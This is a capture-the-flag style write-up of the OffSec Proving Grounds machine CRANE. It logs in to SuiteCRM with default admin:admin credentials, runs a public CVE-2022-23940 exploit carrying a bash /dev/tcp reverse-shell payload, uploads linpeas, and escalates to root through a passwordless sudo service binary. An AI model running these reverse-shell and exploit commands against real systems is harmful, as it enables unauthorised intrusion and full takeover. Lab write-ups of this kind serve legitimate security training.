↓Skip to main content
  1. Writeups/

OFFSEC - Proving Grounds - CRANE

·1533 words·8 mins·
OFFSEC PG PRACTICE SUITECRM
Table of Contents

Summary
#

On port 80 there is a login page for an application called SuiteCRM. There are some easy to guess credentials set, admin:admin to get access to this application. We can use an authenticated RCE (CVE-2022–23940) to get initial access to the target. Once on the box, we can use a binary called /usr/sbin/service using sudo without a password. Using GTFOBins we can escalate our privileges to the root user.

Specifications
#

  • Name: CRANE
  • Platform: PG PRACTICE
  • Points: 10
  • Difficulty: Intermediate
  • System overview: Linux crane 4.19.0-24-amd64 #1 SMP Debian 4.19.282-1 (2023-04-29) x86_64 GNU/Linux
  • IP address: 192.168.203.146
  • OFFSEC provided credentials: None
  • HASH: local.txt:14775c71d07d7961844e8eb29a597872
  • HASH: proof.txt:bfa52319b67edbd69f9d845429c5bfc6

Preparation
#

First we’ll create a directory structure for our files, set the IP address to a bash variable and ping the target:

## create directory structure
mkdir crane && cd crane && mkdir enum files exploits uploads tools

## list directory
ls -la

total 28
drwxrwxr-x  7 kali kali 4096 Aug 14 15:59 .
drwxrwxr-x 20 kali kali 4096 Aug 14 15:59 ..
drwxrwxr-x  2 kali kali 4096 Aug 14 15:59 enum
drwxrwxr-x  2 kali kali 4096 Aug 14 15:59 exploits
drwxrwxr-x  2 kali kali 4096 Aug 14 15:59 files
drwxrwxr-x  2 kali kali 4096 Aug 14 15:59 tools
drwxrwxr-x  2 kali kali 4096 Aug 14 15:59 uploads

## set bash variable
ip=192.168.203.146

## ping target to check if it's online
ping $ip

PING 192.168.203.146 (192.168.203.146) 56(84) bytes of data.
64 bytes from 192.168.203.146: icmp_seq=1 ttl=61 time=20.2 ms
64 bytes from 192.168.203.146: icmp_seq=2 ttl=61 time=19.1 ms
^C
--- 192.168.203.146 ping statistics ---
2 packets transmitted, 2 received, 0% packet loss, time 1002ms
rtt min/avg/max/mdev = 19.138/19.653/20.168/0.515 ms

Reconnaissance
#

Portscanning
#

Using Rustscan we can see what TCP ports are open. This tool is part of my default portscan flow.

## run the rustscan tool
sudo rustscan -a $ip | tee enum/rustscan

.----. .-. .-. .----..---.  .----. .---.   .--.  .-. .-.
| {}  }| { } |{ {__ {_   _}{ {__  /  ___} / {} \ |  `| |
| .-. \| {_} |.-._} } | |  .-._} }\     }/  /\  \| |\  |
`-' `-'`-----'`----'  `-'  `----'  `---' `-'  `-'`-' `-'
The Modern Day Port Scanner.
________________________________________
: http://discord.skerritt.blog         :
: https://github.com/RustScan/RustScan :
 --------------------------------------
RustScan: allowing you to send UDP packets into the void 1200x faster than NMAP

[~] The config file is expected to be at "/root/.rustscan.toml"
[!] File limit is lower than default batch size. Consider upping with --ulimit. May cause harm to sensitive servers
[!] Your file limit is very small, which negatively impacts RustScan's speed. Use the Docker image, or up the Ulimit with '--ulimit 5000'. 
Open 192.168.203.146:22
Open 192.168.203.146:80
Open 192.168.203.146:3306
Open 192.168.203.146:33060
[~] Starting Script(s)
[~] Starting Nmap 7.95 ( https://nmap.org ) at 2025-08-14 16:01 CEST
Initiating Ping Scan at 16:01
Scanning 192.168.203.146 [4 ports]
Completed Ping Scan at 16:01, 0.05s elapsed (1 total hosts)
Initiating Parallel DNS resolution of 1 host. at 16:01
Completed Parallel DNS resolution of 1 host. at 16:01, 0.01s elapsed
DNS resolution of 1 IPs took 0.01s. Mode: Async [#: 1, OK: 0, NX: 1, DR: 0, SF: 0, TR: 1, CN: 0]
Initiating SYN Stealth Scan at 16:01
Scanning 192.168.203.146 [4 ports]
Discovered open port 22/tcp on 192.168.203.146
Discovered open port 80/tcp on 192.168.203.146
Discovered open port 3306/tcp on 192.168.203.146
Discovered open port 33060/tcp on 192.168.203.146
Completed SYN Stealth Scan at 16:01, 0.06s elapsed (4 total ports)
Nmap scan report for 192.168.203.146
Host is up, received reset ttl 61 (0.020s latency).
Scanned at 2025-08-14 16:01:07 CEST for 0s

PORT      STATE SERVICE REASON
22/tcp    open  ssh     syn-ack ttl 61
80/tcp    open  http    syn-ack ttl 61
3306/tcp  open  mysql   syn-ack ttl 61
33060/tcp open  mysqlx  syn-ack ttl 61

Read data files from: /usr/share/nmap
Nmap done: 1 IP address (1 host up) scanned in 0.28 seconds
           Raw packets sent: 8 (328B) | Rcvd: 5 (216B)

Copy the output of open ports into a file called ports within the files directory.

## edit the ``files/ports` file
nano files/ports

## content `ports` file:
22/tcp    open  ssh     syn-ack ttl 61
80/tcp    open  http    syn-ack ttl 61
3306/tcp  open  mysql   syn-ack ttl 61
33060/tcp open  mysqlx  syn-ack ttl 61

Run the following command to get a string of all open ports and use the output of this command to paste within NMAP:

## get a list, comma separated of the open port(s)
cd files && cat ports | cut -d '/' -f1 > ports.txt && awk '{printf "%s,",$0;n++}' ports.txt | sed 's/.$//' > ports && rm ports.txt && cat ports && cd ..

## output previous command
22,80,3306,33060

## use this output in the `nmap` command below:
sudo nmap -T3 -p 22,80,3306,33060 -sCV -vv $ip -oN enum/nmap-services-tcp

Output of NMAP:

PORT      STATE SERVICE REASON         VERSION
22/tcp    open  ssh     syn-ack ttl 61 OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
| ssh-hostkey: 
|   2048 37:80:01:4a:43:86:30:c9:79:e7:fb:7f:3b:a4:1e:dd (RSA)
| ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDBCcfKYKMXuTWeyLKlFNHgmebcXbFAjSpbr39R8GFHYRmc/mZXKNgEoa5gkFAVr8kVVul4X6//DcnRuHtrCpHcnTIZLT9g1DPB09VsLzsjT0TpmqkcDYtZazo1mjnBZdaM+AxoDMghZd8AXiNrCl7jCN+vRjUQc8T1wD4PoC02XjeCAI8Yha++Mv9ZrSPZ+/gBvgZPL3pdQhVGUSUHOmXod4xcdm5ReNiZRNZklOhhscbGfSCqQIdJogegZfMrlueeG3EY7Kkf5CxAUDH/9ir2dEDDifIpqKV8W7ncKEpsZiqgDh36OdMX4LPJ0NmZiT/g8CvINx7k4HWj3ksT+5C7
|   256 b6:18:a1:e1:98:fb:6c:c6:87:55:45:10:c6:d4:45:b9 (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBEK0B9iLJQztyEpGiNffHgQuGcxZRO/BOi+r0j/P8Hkz02pIWW2hFrArbzehUNQ46ZmFwMhxxmrIOLBpUt9ZGBw=
|   256 ab:8f:2d:e8:a2:04:e7:b7:65:d3:fe:5e:93:1e:03:67 (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIOAlO2qlRhyMwzzf3xAK4wOGz1UD5t9+QQO5J3QjTkaZ
80/tcp    open  http    syn-ack ttl 61 Apache httpd 2.4.38 ((Debian))
| http-title: SuiteCRM
|_Requested resource was index.php?action=Login&module=Users
|_http-favicon: Unknown favicon MD5: ED9A8C7810E8C9FB7035B6C3147C9A3A
| http-methods: 
|_  Supported Methods: GET HEAD POST OPTIONS
| http-robots.txt: 1 disallowed entry 
|_/
| http-cookie-flags: 
|   /: 
|     PHPSESSID: 
|_      httponly flag not set
|_http-server-header: Apache/2.4.38 (Debian)
3306/tcp  open  mysql   syn-ack ttl 61 MySQL (unauthorized)
33060/tcp open  mysqlx  syn-ack ttl 61 MySQL X protocol listener
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Initial Access
#

80/tcp    open  http    syn-ack ttl 61 Apache httpd 2.4.38 ((Debian))
| http-title: SuiteCRM
|_Requested resource was index.php?action=Login&module=Users
|_http-favicon: Unknown favicon MD5: ED9A8C7810E8C9FB7035B6C3147C9A3A
| http-methods: 
|_  Supported Methods: GET HEAD POST OPTIONS
| http-robots.txt: 1 disallowed entry 
|_/
| http-cookie-flags: 
|   /: 
|     PHPSESSID: 
|_      httponly flag not set
|_http-server-header: Apache/2.4.38 (Debian)

Once we connect to the target on port 80 using the webbrowser we get redirected to: http://192.168.203.146/index.php?module=Users&action=Login and are able to login using easy to guess credentials, admin:admin.

Searching the internet we find an authenticated RCE exploit, https://raw.githubusercontent.com/manuelz120/CVE-2022-23940/refs/heads/main/exploit.py. Download this exploit, setup a listener and run it (using the found credentials) to get a reverse shell in the /var/www/html directory as the www-data user.

## change directory
cd exploits

## download the exploit
wget https://raw.githubusercontent.com/manuelz120/CVE-2022-23940/refs/heads/main/exploit.py

--2025-08-14 16:09:38--  https://raw.githubusercontent.com/manuelz120/CVE-2022-23940/refs/heads/main/exploit.py
Resolving raw.githubusercontent.com (raw.githubusercontent.com)... 185.199.110.133, 185.199.111.133, 185.199.109.133, ...
Connecting to raw.githubusercontent.com (raw.githubusercontent.com)|185.199.110.133|:443... connected.
HTTP request sent, awaiting response... 200 OK
Length: 4198 (4.1K) [text/plain]
Saving to: ‘exploit.py’

exploit.py                 100%[=====================================>]   4.10K  --.-KB/s    in 0s      

2025-08-14 16:09:38 (8.62 MB/s) - ‘exploit.py’ saved [4198/4198]

## get the local IP address on tun0
ip a | grep -A 10 tun0
5: tun0: <POINTOPOINT,MULTICAST,NOARP,UP,LOWER_UP> mtu 1500 qdisc fq_codel state UNKNOWN group default qlen 500
    link/none 
    inet 192.168.45.204/24 scope global tun0
       valid_lft forever preferred_lft forever
    inet6 fe80::4562:7354:71e0:68c7/64 scope link stable-privacy proto kernel_ll 
       valid_lft forever preferred_lft forever

## setup local listener on port 9001
nc -lvnp 9001
listening on [any] 9001 ...

## run the exploit
python3 exploit.py -h http://192.168.203.146 -u admin -p admin --payload "/bin/bash -c 'bash -i >& /dev/tcp/192.168.45.204/9001 0>&1'"    
INFO:CVE-2022-23940:Login did work - Trying to create scheduled report

## catch the reverse shell
nc -lvnp 9001
listening on [any] 9001 ...
connect to [192.168.45.204] from (UNKNOWN) [192.168.203.146] 44230
bash: cannot set terminal process group (573): Inappropriate ioctl for device
bash: no job control in this shell
www-data@crane:/var/www/html$ 

## print the current working directory
www-data@crane:/var/www/html$ pwd
/var/www/html

## print the current user using `whoami`
www-data@crane:/var/www/html$ whoami
www-data

## print `local.txt`
www-data@crane:/home$ cat /var/www/local.txt
14775c71d07d7961844e8eb29a597872

Privilege Escalation
#

To get a proper TTY we upgrade our shell using the script binary.

## determine location script binary
www-data@crane:/home$ which script
/usr/bin/script


## start the script binary, after that press CTRL+Z
/usr/bin/script -qc /bin/bash /dev/null

## after this command press the `enter` key twice
stty raw -echo ; fg ; reset

## run the following to be able to clear the screen and set the terrminal correct
www-data@crane:/home$ export TERM=xterm
www-data@crane:/home$ stty columns 200 rows 200

Now, upload linpeas.sh to the target and run it.

## change directory locally
cd uploads

## download latest version of linpeas.sh
wget https://github.com/peass-ng/PEASS-ng/releases/latest/download/linpeas.sh

## get local IP address on tun0
ip a | grep -A 10 tun0
5: tun0: <POINTOPOINT,MULTICAST,NOARP,UP,LOWER_UP> mtu 1500 qdisc fq_codel state UNKNOWN group default qlen 500
    link/none 
    inet 192.168.45.204/24 scope global tun0
       valid_lft forever preferred_lft forever
    inet6 fe80::4562:7354:71e0:68c7/64 scope link stable-privacy proto kernel_ll 
       valid_lft forever preferred_lft forever

## start local webserver
python3 -m http.server 80

## on target
## change directory
www-data@crane:/home$ cd /var/tmp
www-data@crane:/var/tmp$ 

## download `linpeas.sh`
www-data@crane:/var/tmp$ wget http://192.168.45.204/linpeas.sh
--2025-08-14 10:27:44--  http://192.168.45.204/linpeas.sh
Connecting to 192.168.45.204:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 956174 (934K) [text/x-sh]
Saving to: 'linpeas.sh'

linpeas.sh                                          0%[                                                  linpeas.sh                                        100%[=============================================================================================================>] 933.76K  4.80MB/s    in 0.2s    

2025-08-14 10:27:44 (4.80 MB/s) - 'linpeas.sh' saved [956174/956174]

## set the execution bit
www-data@crane:/var/tmp$ chmod +x linpeas.sh 

## run `linpeas.sh`
www-data@crane:/var/tmp$ ./linpeas.sh

The linpeas.sh output shows that we can run the /usr/sbin/service binary using sudo without a password. Using GTFOBins (https://gtfobins.github.io/gtfobins/service/#sudo) we can escalate our privileges to the root user.

## list sudo privileges
www-data@crane:/var/tmp$ sudo -l
Matching Defaults entries for www-data on localhost:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User www-data may run the following commands on localhost:
    (ALL) NOPASSWD: /usr/sbin/service
www-data@crane:/var/tmp$ sudo /usr/sbin/service ../../bin/sh

## print the current user
# whoami
root

## print `proof.txt`
# cat /root/proof.txt
bfa52319b67edbd69f9d845429c5bfc6

References
#

[+] https://raw.githubusercontent.com/manuelz120/CVE-2022-23940/refs/heads/main/exploit.py
[+] https://gtfobins.github.io/gtfobins/service/#sudo

Related

OFFSEC - Proving Grounds - CODO
·1433 words·7 mins
OFFSEC PG PRACTICE CODOFORUM GOBUSTER
Codoforum on port 80 uses weak credentials. Exploit CVE-2022-31854 to upload malicious PHP logo, gain initial access and find root password in /var/www/html.
OFFSEC - Proving Grounds - FIRED
·1665 words·8 mins
OFFSEC PG PRACTICE OPENFIRE
OpenFire 4.7.3 on port 9090 is vulnerable to CVE-2023-32315. Exploit and upload a .jar plugin for RCE. Root password found in script file to escalate privileges.
OFFSEC - Proving Grounds - JORDAK
·1584 words·8 mins
OFFSEC PG PRACTICE JORANI
Jorani v1.0.0 on port 80 vulnerable to CVE-2023-26469, allows path traversal and code execution. User jordak has sudo access to /usr/bin/env, enabling root privilege escalation.
OFFSEC - Proving Grounds - LAW
·1640 words·8 mins
OFFSEC PG PRACTICE PSPY
Exploit CVE-2022-35914 on htmLawed 1.2.5 (port 80) with curl for RCE, get www-data shell. Pspy finds root script owned by www-data, run every minute. Add reverse shell, wait for root shell.
OFFSEC - Proving Grounds - WALLA
·1817 words·9 mins
OFFSEC PG PRACTICE WFUZZ PWNKIT
WFUZZ login credentials on port 8091, exploited RaspAP 2.5, CVE-2020-24572, then gained root via PwnKit.
OFFSEC - Proving Grounds - SNOOKUMS
·2366 words·12 mins
OFFSEC PG PRACTICE MYSQL OPENSSL
PHP Gallery v0.8 has a RFI flaw. Use PHP shell, get michael’s MySQL creds, SSH in, find writable /etc/passwd via linpeas, set root password with OpenSSL and gain root.